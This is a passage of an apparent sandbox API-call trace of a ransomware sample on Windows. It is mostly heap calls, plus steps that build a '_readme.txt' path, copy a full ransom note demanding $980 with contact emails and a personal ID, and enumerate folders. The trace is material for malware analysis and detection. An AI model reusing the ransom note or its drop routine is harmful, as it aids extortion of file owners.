hHeap=0x5010000) returned 1 [0111.575] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.575] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.575] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.575] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.575] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.575] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.575] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.575] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.576] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.576] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.576] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.576] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.576] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.576] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.576] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.576] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.576] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.576] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.576] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.576] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.576] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.576] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.576] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.576] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.576] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.576] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.576] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.576] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.576] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.576] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.576] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.576] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.576] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.576] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.576] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.576] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.576] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.576] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.576] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.576] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.577] PathFindFileNameW (pszPath="C:\\Boot\\pt-PT\\") returned="pt-PT\\" [0111.577] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.577] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.577] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.577] PathFindFileNameW (pszPath="") returned="" [0111.577] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.577] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.577] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.577] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.577] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.577] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.577] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.577] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0111.577] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.577] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.577] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 0 [0111.578] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.578] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.578] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.578] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.578] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\_readme.txt" (normalized: "c:\\boot\\pt-pt\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.578] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.578] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.578] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.578] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.578] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.578] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.578] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.578] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.578] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.578] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.579] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.579] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.579] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.579] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.579] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.579] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.579] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.579] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.579] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.579] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.579] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.579] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.579] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.579] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.579] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.579] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.579] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.579] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.579] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.579] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.579] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.579] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.579] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.579] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.579] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.579] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.579] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.579] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.579] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.579] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.579] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.580] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.580] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.580] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.580] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.580] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.580] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.580] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.580] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.580] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.580] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.580] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.580] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.580] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.580] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.580] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.580] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.580] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.580] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.580] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.580] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.580] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.580] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.580] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.580] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.580] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.580] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.580] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.580] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.580] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.580] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.580] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.580] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.580] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.581] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.581] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.581] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.581] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.581] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.581] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.581] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.581] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.581] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.581] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.581] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.581] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.581] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.581] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.581] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.581] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.581] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.581] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.581] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.581] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.581] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.581] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.581] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.581] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.581] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.581] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.581] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.581] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.581] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.581] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.581] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.582] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.582] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.582] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.582] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.582] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.582] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.582] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.582] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.582] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.582] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.582] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.582] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.582] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.582] 